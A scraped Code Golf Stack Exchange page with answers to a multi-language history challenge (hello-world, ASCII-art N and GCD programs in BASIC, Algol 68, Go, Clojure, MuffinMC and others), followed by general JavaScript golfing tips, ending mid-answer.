VQ+\Nt+P++*Nd\N*t-QNd\N ``` [Try it online](https://pyth.herokuapp.com/?code=VQ%2B%5CNt%2BP%2B%2B*Nd%5CN*t-QNd%5CN&input=7&debug=0). The equivalent Python is: ``` Q = eval(input()) for N in range(Q): print("N"+((" "*N+"N"+(Q-N-1)*" ")[:-1]+"N")[1:]) ``` Or expanded (the first and third lines are implicit): ``` Q = eval(input()) # for N in range(Q): # VQ print( ) # "N"+ # +\N ( )[1:] # t +"N" # + \N ( )[:-1] # P +(Q-N-1)*" " # + *t-QNd +"N" # + \N " "*N # *Nd ``` # GCD ``` =GvwWQAGQ,Q%GQ)G ``` This program uses the Euclidean algorithm, and takes two numbers separated by a newline. [Try it online](https://pyth.herokuapp.com/?code=%3DGvwWQAGQ%2CQ%25GQ%29G&input=234%0A876&debug=0). ``` Q = eval(input()) # G = eval(input()) # =Gvw while Q != 0: # WQ G, Q = Q, G % Q # AGQ,Q%GQ) print(G) # G ``` `i.uQ` is even shorter if we use the builtin for GCD. This is equivalent to `print(gcd(*eval(input())))` (taking two comma-separated numbers as input). [Answer] # 1964 - [Dartmouth BASIC](https://en.wikipedia.org/wiki/Dartmouth_BASIC) **BASIC** is a family of general-purpose, high-level programming languages whose design philosophy emphasizes ease of use. In 1964, John G. Kemeny and Thomas E. Kurtz designed the original BASIC language at Dartmouth College in New Hampshire. They wanted to enable students in fields other than science and mathematics to use computers. I'm looking at this [manual](http://www.cs.bris.ac.uk/~dave/basic.pdf) on BASIC from 1964, and this [emulator](http://mcgeachie.net:51964/DTSS) of the Darthmouth Time Sharing System it ran on. The server is still up, but sadly, registering an account seems to be impossible. For now, these programs should theoretically work: ## Task 1 ``` 10 PRINT "BASIC WAS MADE IN 1964" 20 END ``` ## Task 2 ``` 10 READ N 15 FOR Y = 1 TO N STEP 1 20 FOR X = 1 TO N STEP 1 25 IF X = 1 THEN 50 30 IF X = N THEN 50 35 IF X = Y THEN 50 40 PRINT " ", 45 GO TO 55 50 PRINT "N", 55 NEXT X 60 PRINT 65 NEXT Y 70 DATA 5 75 END ``` Outputting something like: ``` N N N N N N N N N N N N N ``` Note how the input is typed in as part of the program (`70 DATA 5`); the `READ` instruction way at the top fetches data from there. There is no string concatenation, but section 3.1 of the manual describes how `PRINT` results are written to tabulated "zones" on the output. ## Task 3 The slow version of Euclid's algorithm: ``` 10 READ A, B 20 IF A = B THEN 80 30 IF A < B THEN 60 40 LET A = A - B 50 GO TO 20 60 LET B = B - A 70 GO TO 20 80 PRINT A 85 DATA 144, 250 90 END ``` Outputting: ``` 2 ``` [Answer] # 1991 - [Python](http://en.wikipedia.org/wiki/Python_(programming_language)) ### Language History In the late 1980s, Guido van Rossum began devising Python as a hobby. Its name comes from Monty Python's Flying Circus, a British television show of which Rossum is a fan. The first Python implementation began in 1989 and was released in 1991. It has surged in popularity over the years, becoming the language of choice for many introductory computer science courses. ### "Hello, World!" Variant ``` print("Python was made in 1991!") ``` Note the parentheses around the input to `print`. Though this syntax works in Python 2, typically in Python 2 you would omit these parentheses. However, they're required in Python 3. As suggested by Zach Gates, parentheses are used throughout to ensure that the code presented here will work across versions. ### ASCII Art N ``` def asciin(n): if n == 1: print("N") else: print("N" + " "*(n-2) + "N") for i in range(2, n): print("N" + " "*(i-2) + "N" + " "*(n-i-1) + "N") print("N" + " "*(n-2) + "N") ``` Functions are defined using `def`. String concatenation is performed using `+` and string repetition with `*`. ### GCD ``` def gcd(a, b): if b == 0: return(a) else: return(gcd(b, a % b)) ``` Note that Python requires structured whitespace. [Answer] # 1968 - [Algol 68](http://en.wikipedia.org/wiki/ALGOL_68) Algol 68 was defined by the IFIP Working Group 2.1 as a successor to Algol 60. It is an expression oriented language in which everything has a value. It is also orthogonal, in which you can use any construct in any way. This means that expressions can be on the RHS and the LHS of an assignment, for example. All control structures have an abbreviated form as well as a long form using expressions. It also permits the definitions of operators. The goals of the language are cited as: > > The main aims and principles of design of ALGOL 68: > > > * Completeness and clarity of description > * Orthogonal design, > * Security, > * Efficiency > * Static mode checking > * Mode-independent parsing > * Independent compilation > * Loop optimization > * Representations - in minimal & larger character sets > > > These programs have been tested with the [Algol 68 Genie interpreter](http://jmvdveer.home.xs4all.nl/), which is a complete implementation of the language. Some features that modern programmers may find different, is that empty statements are not permitted. You cannot just add `;` everywhere. You have to use the `SKIP` statement if you want to explicitly have nothing. It also permitted the coding of concurrent programs very easily. Algol 68 also, notably, used backwards keywords as terminators, such as **esac**, **od**, **fi** etc. The language had a representation used for writing the code that used many fonts representing keywords in **bold**, and identifiers in *italic*, for example. At the time, and probably still, no compiler implemented this feature of the design. The language permitted several different concrete representations of programs using **stropping modes**. This allowed programs to be prepared using limited character sets, such as might be found in computers in the 1960s. Consider the a short program fragment, which would be represented as: > > **if** *i* **<** *0* **then** **skip** **fi** > > > This could be prepared for a compiler in *prime* stropping mode as: ``` 'IF' I 'LT' 0 'THEN' 'SKIP' 'FI' ``` In *dot* stropping mode this would be: ``` .IF I .LT 0 .THEN .SKIP .FI ``` In *case* stropping mode this would be: ``` IF i < 0 THEN SKIP FI ``` I have great fondness for this language as I worked on one of the compiler implementations, as well as programming in it exclusively for many years. # Task 1 > > *print* (("Algol 68 was made in 1968!", *newline*)) > > > The point to note here is the double parentheses. This is because *print* is a function that takes a single argument which is a variable length array of the union of all types. The inner parenthesis are the array constructor. This is how polymorphism is handled in this strongly typed language. In case stropping mode: ``` print (("Algol 68 was made in 1968!", newline)) C:\>a68g HelloWorld.a68 Algol 68 was made in 1968! ``` # Task 2 > >      **int** *n*; > >      *read* ((*n*)); > >      **for** *i* **from** 1 **to** *n* **do** > >           **for** *j* **from** 1 **to** *n* **do** > >                **¢** here we use an abbreviated IF clause **¢** > >                *print* (( ( *j* **=** 1 OR *j* **=** *i* OR *j* **=** *n* **|** > >                     "N" > >                **|** > >                     " " > >                ) )) > >           **od** ; > >      *print* ((*newline*)) > >      **od** > > > > In case stropping mode: ``` INT n; read ((n)); FOR i FROM 1 TO n DO FOR j FROM 1 TO n DO CO here we use an abbreviated IF clause CO print (( ( j = 1 OR j = i OR j = n | "N" | " " ) )) OD ; print ((newline)) OD C:\>a68g ASCIIart.a68 8 N N NN N N N N N N N N N N N N N N NN N N ``` # Task 3 > >      **¢** we can define our own operators in Algol 68 **¢** > >      **op** **%** **=** ( **int** *a*, *b*) **int**: > >           ((*b* **=** 0 **|** > >                *a* > >           **|** > >                *b* **%** (*a* **mod** *b*) > >           )); > >      **int** *i*,*j*; > >      *read*((*i*,*j*)); > >      *print*(( *i* **%** *j* , *newline*)) > > > > In case stropping mode: ``` COMMENT we can define our own operators in Algol 68 COMMENT OP % = ( INT a, b) INT: ((b = 0 | a | b % (a MOD b) )); INT i,j; read((i,j)); print(( i % j , newline)) C:\>a68g GCD.a68 4 12 +4 ``` [Answer] # 2010 - [WTFZOMFG](https://esolangs.org/wiki/WTFZOMFG) WTFZOMFG is an esoteric languages based on Brainfuck. It was made by Jay Songdahl in 2010. "WTFZOMFG" is short for "What's That Function? Zen Optimized Malicious File Gophers!" . Here is a [compiler for \*nix systems](http://sites.google.com/site/songhead95/programs/WTFZOMFG.tar.gz). ## Task 1 ``` 'WTFZOMFG was made in 2010!\n" ``` ## Task 2 ``` /&(-.N%3 >&>s-{-(-. ).N}>{-(-. ).N}_0 '\n") ``` ### Explanation: Sorry. I'm not good at writing explanations. ``` / # read the number and store it in cell 0 & # copy it to cell 1 ( # loop while cell 0 isn't 0 - # decrease the value of cell 0 .N # print "N" %3 # copy cell 0 to cell 3 # a space must be added after the number. I don't know if it's a bug of the compiler or a feature. > # move to cell 1 & # copy cell 1 to cell 2 > # move cell 2 s # let cell 2 = cell 2 - cell 3 - # decrease the value of cell 2 { # if cell 2 isn't 0 - # decrease the value of cell 2 (-. ) # while cell 2 isn't 0, decrease it and print " " .N # print "N" } # end if > # move cell 3 { # if cell 3 isn't 0 - # decrease the value of cell 3 (-. ) # while cell 3 isn't 0, decrease it and print " " .N # print "N" } # end if _0 # move to cell 0 '\n" # print a newline ) # ``` ## Task 3 ``` />>/(<<&>dm<s&>>%0 <&>)<<\ ``` Euclidean algorithm. WTFZOMFG doesn't have a command for mod, so I have to use `d` (divide), `m` (multiply) and `s` (subtract). [Answer] # 2009 - Go Go is programming language developed by Google. The development started in 2007, but Go was announced in November 2009. Go is a statically-typed language influenced by C which emphasizes conciseness, simplicity, and safety. ## Task 1: ``` package main import "fmt" func main(){ fmt.Println("Go was made in 2009!") } ``` The first line declares the package of the code. Even a simple example as printing one line needs to be part of one package. And the executable is always called `main`. ## Task 2: ``` package main import ( "fmt" "strings" ) func main(){ var n int fmt.Scan(&n) for i := 0; i < n; i++ { a := make([]string, n, n) for j := 0; j < n; j++ { a[j] = " " } a[0] = "N" a[i] = "N" a[n-1] = "N" s := strings.Join(a, "") fmt.Println(s) } } ``` Go has a quite concise variable declaration (`i := 0` is the same as `var i int = 0`), and the compiler determines the type. This is usually a feature more common in dynamic languages. Using this short notation it's also really easy to assign functions to variables (`f := func(x int) int {/* Code */}`) and create Closures. ## Task 3: ``` package main import "fmt" func gcd(a, b int) int { for b != 0 { a, b = b, a%b } return a } func main(){ var a, b int fmt.Scan(&a) fmt.Scan(&b) fmt.Println(gcd(a, b)) } ``` Here you can see the `a, b = b, a%b` syntax, which is really nice. I don't know the exact name, but in Python it's called tuple unpacking. Using the same way you can return multiple values from a function (`func f() (int, string) { return 42, "Hallo"}`). Another thing happening in this code is the loop. The for loop is the only loop in Go. While-loops or do-while-loops don't exists. But you can easily create an equivalent for the while loop `for condition {}` or an infinite loop `for {}`. [Answer] # 2012 - TypeScript TypeScript is a free and open source programming language developed and maintained by Microsoft. Main goal is: Any browser. Any host. Any OS. Open Source. It was released on [October, 2012](http://en.wikipedia.org/wiki/TypeScript) ## Hello TypeScript ``` Task1(name:string,year:number) { return name + " was made in "+ year +"!"; } ``` ## ASCII Art ``` Task2(n:number,separator:string,space:string) { var result:string = ""; for (var k = 0; k < n; k++) { for (var j = 0; j < n; j++) { var i = ((n * k) + j) % n; result+=(i == 0 || i == n - 1 || i == k) ? "N" : space; } result+=separator; } return result; } ``` ## GCD ``` Task3(a:number,b:number) { while (a != 0 && b != 0) { if (a > b) a %= b; else b %= a; } if (a == 0) return b; else return a; } ``` [try it online](http://www.typescriptlang.org/Playground#src=class%20Tasks%20%7B%0A%20%20%20%20%0A%09Task1(name%3Astring%2Cyear%3Anumber)%20%7B%0A%20%20%20%20%20%20%20%20return%20name%20%2B%20%22%20was%20made%20in%20%22%2B%20year%3B%0A%20%20%20%20%7D%0A%09Task2(n%3Anumber%2Cseparator%3Astring%2Cspace%3Astring)%20%7B%0A%09%09var%20result%3Astring%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(var%20k%20%3D%200%3B%20k%20%3C%20n%3B%20k%2B%2B)%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20for%20(var%20j%20%3D%200%3B%20j%20%3C%20n%3B%20j%2B%2B)%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20i%20%3D%20((n%20*%20k)%20%2B%20j)%20%25%20n%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20result%2B%3D(i%20%3D%3D%200%20%7C%7C%20i%20%3D%3D%20n%20-%201%20%7C%7C%20i%20%3D%3D%20k)%20%3F%20%22N%22%20%3A%20space%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20result%2B%3Dseparator%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09return%20result%3B%0A%20%20%20%20%7D%0A%09Task3(a%3Anumber%2Cb%3Anumber)%20%7B%0A%20%20%20%20%20%20%20%20while%20(a%20!%3D%200%20%26%26%20b%20!%3D%200)%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(a%20%3E%20b)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20a%20%25%3D%20b%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%20%25%3D%20a%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(a%20%3D%3D%200)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20b%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20a%3B%0A%20%20%20%20%7D%0A%7D%0A%0Avar%20tasks%20%3D%20new%20Tasks()%3B%0Avar%20r1%3Astring%20%3D%20tasks.Task1(%22TypeScript%22%2C%202012)%0Adocument.writeln(r1)%3B%0Adocument.writeln(%22%3Cbr%2F%3E%22)%3B%0Avar%20r2%3Astring%3Dtasks.Task2(5%2C%22%3Cbr%2F%3E%22%2C%22._%22)%3B%0Adocument.writeln(r2)%3B%0Adocument.writeln(%22%3Cbr%2F%3E%22)%3B%0Avar%20r3%3Anumber%20%3D%20tasks.Task3(8%2C12)%3B%0Adocument.writeln(String(r3))%3B%0A%0A), and [screencast](http://screencast.com/t/5CZDSGSVy) of it. [Answer] # 2011 - Dart Dart is an Open Source programming language developed by Google which is developed as a replacement for Javascript (althought it compiles to javascript). It was unveiled by Google in 2011 during the GOTO conference. ## "Hello World!" Variant: ``` main() { print('Dart was made in 2011!'); } ``` ## ASCII Art N: Bruteforce method, runs at 0(n²), but it shouldn't really matter unless you use a giant number. ``` asciiN(int number){ if(number == 1){ print('N'); }else{ for(var i = 1; i <= number; i++){ String currentLine = ""; for(var j = 1; j <= number; j++){ if(j==1 || j == number || j == i){ currentLine = currentLine + "N"; }else{ currentLine = currentLine + " "; } } print(currentLine); } } } ``` ## GCD simple Euclid method ported from the Snap! example above. ``` int gcd(int first, int second){ if(second > first){ return gcd(second, first); }else{ if(first == 0){ return second; }else{ if(second ==0){ return first; }else{ return gcd(second, first-second); } } } } ``` [Answer] # 2007 - Clojure Clojure is a general-purpose programming language with an emphasis on functional programming. It is a dialect of the Lisp programming language. It runs on the Java Virtual Machine, Common Language Runtime, and JavaScript engines. You can find a online Clojure REPL at [Try Clojure](http://www.tryclj.com/). It also includes a short tutorial on the basics of Clojure. ### Task 1 ``` (println "Clojure was made in 2007!") ``` ### Task 2 ``` (defn ascii [n] (doseq [i (range 0 n 1)] (doseq [j (range 0 n 1)] (printf (if (or (= i j) (= j 0) (= j (dec n))) "N" " ")) ) (printf "\n") ) ) (ascii (read)) ``` ### Task 3 ``` (defn gcd [a b] (if (zero? b) a (recur b (mod a b))) ) (println (gcd (read) (read))) ``` [Answer] # 2015 - Muffin*MC* Muffin*MC* is a Turing-complete, funny (but serious), functional and minimalist macro-language written by Franck Porcher (<http://franckys.com>) in mid-February 2015 out of necessity as a (quick) tool to empower a spreadsheet to be used as the only front-end controller to pilot and drive all inventory-related operations associated with a Prestashop-based merchant site for a new Tahitian fashion brand : *Mutiny Tahiti* (<http://mutinytahiti.com> -- soon to be launched). Muffin*MC* is an acronym for **MU**tiny **F**unctional **F**lexible **IN**line **M**acro **C**ommand language. To meet our requirements, Muffin*MC*'s core features have been designed around flexible and efficient 1st-class built-in semantic constructs like *iterators*, *lazy-evaluation*, *multi-functors*, *string-product*. Muffin*MC* draws its roots in (pragmatic) functional programming, FLisp and Perl. It fully supports recursivity (without any optimization), is dynamically typed and dynamically scoped (shallow-binding). It offers its users one data structure only, apart from basic data-types atoms (atoms, strings, numerals) : lists ! Muffin*MC* list semantics (kind of) borrows on *power-set* semantics, that is : 1. All Muffin*MC* operation yield a list, possibly empty. 2. Access to an any individual list element always yields a one-value-list made of that element (think of it as a singleton). 3. The empty list is the neutral element on list operations. To reconcile with this, the following may help : * One may visualize a list as the element of the list's power-set that has the greatest cardinality. * Visualize a list's element as the element of the list's power-set that is the singleton made of that element. * Visualize an empty list as the empty-set; that is, the only element of the empty-set's power-set. As such, accessing an empty list element yields the empty-list, and not an error! Indeed, Muffin*MC* tries hard to throw as few errors as possible by extending that way the semantics of many traditional operations. # Task 1 ``` #(say "MuffinMC was born in 2015 out of necessity !") ``` `#(...)` is the Muffin*MC* macro command for applying a function on a non-evaled argument list, here the built-in function `say`, borrowed from Perl. `#(say 1 2 3 ...)` is functionally identical to `map {say $_} (1,2,3,...)` # Task 2 Define the function `ascii-art()` : ``` =(ascii-art '( =(* x #(2- $(_1)) I I( *($(x) " ") N) foo '( #(. #(I $(x))) )) #(say ?( #(== $(_1) 1) N "N#(map foo #(.. 1 $(_1)))N" )) )) ``` `Ascii-art()`'s shortest working form (88 bytes) : ``` =(f'(=(* x#(2-)I I(*($(x)" ")N)g'(#(.#(I$(x)))))#(say?(#(==$(_1)1)N"N#(map g#(..))N")))) ``` * `=(var val...)` is the Muffin*MC* macro command to define a variable, or reassign it. * `$(var)` is the Muffin*MC* macro command to access a variable's value. It naturally accepts the form `$(v1 v2 ...)` to access many variables at once. * `=(* var1 val1 var2 val2 ...)` is the extension of Muffin*MC* macro command `=(...)` to deal with parallel assignments. * Variables `_1, _2`, ... are dynamically scoped (shallow binding mechanism) and automatically set to bind to the function's arguments. Borrowed from Perl5, system variables `#` (number of arguments) and `@` (list of arguments) are also automatically set. * Functions are simply variables bound to any number of Muffin*MC* statements. This interesting solution comes from combining two natural Muffin*MC* built-in features : 1. The Muffin*MC* `I(...)` macro command, to define cycling-iterators, later used with the functional form `#(my-iterator want-number-of-values)`, 2. The Muffin*MC* *string-product* construct, an extension of the natural variable interpolation, which, given any string `"F1 F2 F3..."`, where the F*i*s are either Muffin*MC* string literals or Muffin*MC* macro command (aka functional forms), will produce as many strings as given by the product cardinal(F1) x cardinal(F2) x ... . For instance, given x a variable that holds 2 values, says a and b, and y another variable that holds 3 values, says, 1 2 3, then the evaluation of the string `"x=$(x) y=$(y))"` will produce 6 different values, namely, in that order : * "x=a y=1" * "x=a y=2" * "x=a y=3" * "x=b y=1" * "x=b y=2" * "x=b y=3" This is one of MUTINY project's highly desirable features Muffin*MC* was designed for. Run it ! ``` #(ascii-art 1) N #(ascii-art 3) N N NNN N N #(map '( #(ascii-art $(_1))) 5 7 9) N N NN N N N N N NN N N N N NN N N N N N N N N N N N NN N N N N NN N N N N N N N N N N N N N N N N N NN N N ``` ### How does it work Our algorithm is based on the followings: Given a call to ascii-art(n), {n = 2p+1 | p integer, p>= 0}, the art to generate comprises n strings of n characters, amongst which, two, the leftest and rightest, are fixed and always the same : 'N'. This allows to reduce the problem in producing only the middle strings. For instance, given n=5, we would weed to produce the 5 following middle strings, each made of n-2 characters (we have replaced the space by a '\_' for the sake of better visualization) : ``` The 5 strings : _ _ _ N _ _ _ N _ _ _ N _ _ _ can be seen as resulting from splitting in groups of 3 characters the following infinite sequence of 4 characters : /---- < _ _ _ N > ----\ | | \---------------------/ which, once unfolded, yields the infinite ruban : _ _ _ N _ _ _ N _ _ _ N _ _ _ N _ _ _ N _ _ _ N ... ^ ^ ^ ^ _ _ _ | | | | N _ _ | | | _ N _ | | _ _ N | _ _ _ ``` * Such middle strings can easily be produced by cycling over the 4 elements sequence `('_' '_' '_' 'N')` in 5 groups of 3 ; given n, the function's input, such sequence is made of n-2 characters `'_'`, followed by the character `'N'`. Cycling over this sequence requires nothing else but embedding the sequence within a Muffin*MC* `I(sequence)` built-in iterator (an iterator that cycles forever over its initial sequence of values). * We then simply produce the middle strings, of length n-2, by asking our iterator to give us its next n-2 values (n - 2 characters), which are concatenated together to produce the expected middle string. * The n middle strings are produced by repeating n times the above process, using a map to collect the n results (n strings of n-2 characters). * We use another powerful Muffin*MC* built-in construct, namely the *string product*, to produce the n final strings : `"N#(map...)N"`. * And that's it ! ``` Commented script =(ascii-art Define the 'ascii-art' variable to hold the function's definition. When called, its argument, the actual value of n, will be bound to the system variable _1, accessed as $( _1 ). '( '(...) quote macro-command -- protects its arguments, here the function definition, from being evaluated. We want to keep it literally for further evaluation. =(* =(*...) // assignment macro-command. Similar to the Lisp (let (...)...), not the let* ! x #(2- $(_1)) Define the variable x to hold the value n-2. I I( Define I to be an iterator over the the x+1 characters sequence : *( $(x) " ") . x white-space characters N . 1 'N' character (here the atom N) ) foo '( Define the variable foo as a function #(. to catenate ( #(. s1...) ) #(I $(x)) the iterator's next x elements. ) ) ) End of =(*... #(say Print each element of: ?( If #(== $(_1) 1) n equals 1 N the atom N, "N#(map foo #(.. 1 $(_1)))N" else the n strings as a string-product resulting from foo-computing the ) n middle-strings. ) )) ``` # Task 3 Define the function `gcd()` : ``` =(gcd '( ?( #(== $(_2) 0) $(_1) #(self $(_2) #(mod $(_1) $(_2)))) )) ``` `gcd()`'s *real* shortest form (37 bytes - 2bytes gain thanks to Rodolvertice) ``` =(g'(?(#(z$(_2))$(_1)#(g$(_2)#(mod))))) ``` Run it ! ``` #(gcd 225 81) ``` yields 9. That's it. Thank you for the nice game, and possibly for your interest. The language is available to any one who would like to play with, use it, or even extend it. Just ask for it and I will be glad to send it in. Cheers Franck --- PS. Muffin*MC*'s current implementation is in Perl5. The source code is about 2000 lines of modern Perl, including comments, and it comes bundled with a non-regression test-suite, which is great to learn hands-on Muffin*MC* constructs and semantics. ]
[Question] [ What general tips do you have for golfing in JavaScript? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to JavaScript (e.g. "remove comments" is not an answer). > > **Note:** Also see [Tips for Golfing in ECMAScript 6 and above](https://codegolf.stackexchange.com/questions/37624/tips-for-golfing-in-ecmascript-6) > > > [Answer] [Splitting with numbers to save the quotemarks:](https://github.com/jed/140bytes/wiki/Byte-saving-techniques#split-using-0) ``` "alpha,bravo,charlie".split(",") // before "alpha0bravo0charlie".split(0) // after ``` [Answer] ### Fancy For Loops you can use the standard for loop in non-standard ways ``` for ( a; b; c ) ``` is essentially equivalent to: ``` a; while ( b ) { ... c; } ``` so a good trick is to write your code with a `while` loop, and then split it into the `a,b,c` parts in a `for` loop. A couple examples [I've written](https://codegolf.stackexchange.com/questions/1977/what-is-the-average-of-n-the-closest-prime-to-n-the-square-of-n-and-the-closest/1978#1978): ``` for(x=y=n;!z;x--,y++)z=i(x)?x:i(y)?y:0 for(a=b=1;b<n;c=a+b,a=b,b=c); ``` ### Chain your setters If you're initializing or resetting multiple values, chain the value to all the variables that need it: ``` a=b=1; ``` ### Implicit Casting Don't check your types, just use them as they are. `parseInt()` costs `10` characters. If you need to cast out of a string, be creative: ``` a='30'; b='10'; c = a + b; //failure c = parseInt(a) + parseInt(b) //too long c = -(-a-b); //try these c = ~~a+~~b; c = +a+ +b; c = a- -b; ``` ### Avoid Semicolons JavaScript has automatic semi-colon insertion. Use it often and well. ### One-liners Save on brackets by shoving as much as possible into single lines, or parameters: ``` a( realParam1, realParam2, fizz='buzz' ) ``` ### Increment/Decrement operators ``` a = a - 1; foo(a); ``` and ``` foo(a); a = a - 1; ``` can easily be rewritten as ``` foo(--a); ``` and ``` foo(a--); ``` respectively. ### Use `this` or `self` instead of `window` in global context self explanatory 2 character savings. ### Use bracket notation for repeat property access This is definitely a balancing act between property name length and number of accesses. Instead of calling `a.longFunctionName()` with dot notation twice, it's shorter to save the name and call the function via bracket notation: ``` a.longFunctionName(b) a.longFunctionName(c) //42 ``` -vs- ``` a[f='longFunctionName'](b) a[f](c) //34 ``` this is especially effective with functions like `document.getElementById` which can be reduced to `d[e]`. Note: With bracket notation, the cost is `6 + name.length` characters the first time. Each subsequent access has a cost of `3` characters. For dot notation, all accesses cost `name.length + 1` (+1 for the `.`) characters. Use this method if `6 + name.length + (3 * (accesses - 1)) < accesses * (name.length + 1)`. len = length of property name i = minimum accesses to take advantage ``` len | i ======== 1 | ∞ 2 | ∞ 3 | 7 4 | 4 5 | 3 6 | 3 7 | 3 8+ | 2 ``` The number of accesses can also span multiple objects. If you access `.length` 4 or more times on different arrays, you can use the same variable holding the string `'length'`. [Answer] Use the comma operator to avoid braces (also [applies to C](https://codegolf.stackexchange.com/questions/2203/tips-for-golfing-in-c)): ``` if(i<10)m+=5,n-=3; ``` Instead of ``` if(i<10){m+=5;n-=3} ``` which is one character longer. [Answer] # Shorter random number generation If you need a random boolean (`0` or `1`): ``` new Date&1 // equivalent to Math.random()<0.5 ``` If you need a random integer `0 <= n < 1337`: ``` new Date%1337 // equivalent to Math.floor(Math.random()*1337)) ``` This works because a `Date` is stored internally in JavaScript as the amount of milliseconds since an epoch, so the `new Date` is being coerced into `123somebignumber456` when you try to do integer math on it. Of course, these "random" numbers really won't be as random, especially if you call them multiple times in quick succession, so keep that in mind. [Answer] You can use the object literal form of get/set to avoid using the keyword `function`. ``` var obj = { get f(){ console.log("just accessing this variable runs this code"); return "this is actually a function"; }, set f(v){ console.log("you can do whatever you want in here, passed: " + v); } }; 1 && obj.f; // runs obj.[[get f]] obj.f = Infinity; // runs obj.[[set f]](Infinity) ``` [Answer] This one is lesser known and lesser used, but can be impressive if used in the right situation. Consider a function that takes no arguments and always returns a different number when called, and the returned number will be used in a calculation: ``` var a = [ Math.random()*12|0, Math.random()*11|0, Math.random()*10|0, /* etc... */ ]; ``` You might normally shorten this function using a single-letter variable name: ``` var r=Math.random,a=[r()*12|0,r()*11|0,r()*10|0,r()*9|0,r()*8|0,r()*7|0,r()*6|0,r()*5|0]; ``` A better way to reduce the length is by abusing `valueOf`, which gives you a saving of 2 characters per invocation. Useful if you call the function more than 5 times: ``` var r={valueOf:Math.random},a=[r*12|0,r*11|0,r*10|0,r*9|0r*8|0,r*7|0,r*6|0,r*5|0]; ``` [Answer] ### Taking advantage of short-circuit operators Rather than long `if` statements or using ternary operators, you can make use of `&&` and `||` to shorten your code. For instance: ``` var match = RegExp('[?&]' + name + '=([^&]*)').exec(window.location.search); return match ? decodeURIComponent(match[1].replace(/\+/g, ' ')) : null; ``` can become ``` var match = RegExp('[?&]' + name + '=([^&]*)').exec(window.location.search); return match && decodeURIComponent(match[1].replace(/\+/g, ' ')); ``` The `||` operator is often used in this way for setting defaults: ``` evt = evt || window.event; ``` This is the same as writing ``` if (!evt) evt = window.event; ``` ### Creating repetitive strings using *Array* If you want to initialize a long string of a particular character, you can do so by creating an array with a length of *n+1*, where *n* is the number of times you wish to repeat the character: ``` // Create a string with 30 spaces str = " "; // or str = Array(31).join(" "); ``` The larger the string, the bigger the saving. ### Parsing numbers Use `+` and `~` operators instead of `parseFloat()` or `parseInt()` when coalescing a string type that is *just a number* to a number type: ``` var num = "12.6"; parseFloat(num) === +num; // *+* is **10** characters shorter than *parseFloat()* var num2 = "12" parseInt(num2) === +num2; // *+* is **8** characters shorter than *parseInt()* var num3 = "12.6" parseInt(num3) === ~~num3; // *~~* is **7** characters shorter than *parseInt()* var num4 = "12.6" parseInt(num4) === num4|0; // *|0* is **7** characters shorter than *parseInt()* ``` Be wary though, other types can be coalesced with these operators (for instance, `true` would become `1`) an empty string or a string containing just white space would become `0`. This could be useful in certain circumstances, however. [Answer] **Unicode shortcuts** If you use a hell of a built-in property at a big golfing challenge you can alias every property to a one character equivalent: ``` [Math,Number,S=String,Array].map(b=> Object.getOwnPropertyNames(b).map((p,i)=> b.prototype[S.fromCharCode(i+248)]=b[p] ) ) ``` After executing the code above you can use it like this: `"foo".Č(/.*/,'bar') // replaces foo with bar` **This costs 118 bytes, so it might not be useful in certain situations** It may be browser dependent and i'm not sure if it's shorter than `with(Array){join(foo),...}` or defining variables as used properties `with(Array){j=join,m=map...}` but still it is worth mentioning. ``` Math Number String Array ø toSource prototype prototype prototype ù abs NaN quote join ú acos POSITIVE_INFINITY substring reverse û asin NEGATIVE_INFINITY toLowerCase sort ü atan MAX_VALUE toUpperCase push ý atan2 MIN_VALUE charAt pop þ ceil MAX_SAFE_INTEGER charCodeAt shift ÿ clz32 MIN_SAFE_INTEGER contains unshift Ā cos EPSILON indexOf splice ā exp isFinite lastIndexOf concat Ă floor isInteger startsWith slice ă imul isNaN endsWith filter Ą fround toInteger trim isArray ą log parseFloat trimLeft lastIndexOf Ć max parseInt trimRight indexOf ć min length toLocaleLowerCase forEach Ĉ pow name toLocaleUpperCase map ĉ random arguments normalize every Ċ round caller match some ċ sin search reduce Č sqrt replace reduceRight č tan split Ď log10 substr ď log2 concat Đ log1p slice đ expm1 fromCharCode Ē cosh fromCodePoint ē sinh localeCompare Ĕ tanh length ĕ acosh name Ė asinh arguments ė atanh caller Ę hypot ę trunc Ě sign ě cbrt Ĝ E ĝ LOG2E Ğ LOG10E ğ LN2 Ġ LN10 ġ PI Ģ SQRT2 ģ SQRT1_2 ``` [Answer] Combine nested for loops: ``` // before: for(i=5;i--;)for(j=5;j--;)dosomething(i,j) // after: for(i=25;i--;)dosomething(0|i/5,i%5) ``` Example with different values for `i`/`j`: ``` // before: for(i=4;i--;)for(j=7;j--;)dosomething(i,j) // after: for(i=28;i--;)dosomething(0|i/7,i%7) ``` [Answer] Sneak variable initialization into the prompt() call for getting user input ``` n=prompt(i=5); // sets i=5 at the same time as getting user input ``` instead of using ``` n=prompt();i=5; ``` As a side-effect, it displays the input value in the prompt window while saving 1 character. [Answer] ### Use `^` instead of `!=` or `==` when comparing to an integer ``` //x!=3?a:b x^3?a:b //x==3?a:b x^3?b:a ``` ### Replace calls to built-in Math functions with shorter expressions ``` //Math.ceil(n) n%1?-~n:n //Math.floor(n) ~~n 0|n //Math.abs(n) n<0?-n:n //Math.round(n) n+.5|0 //Math.min(x,y) x<y?x:y //Math.max(x,y) y<x?x:y ``` [Answer] # Array sum / product / quotient **ES5**: 17 bytes ``` 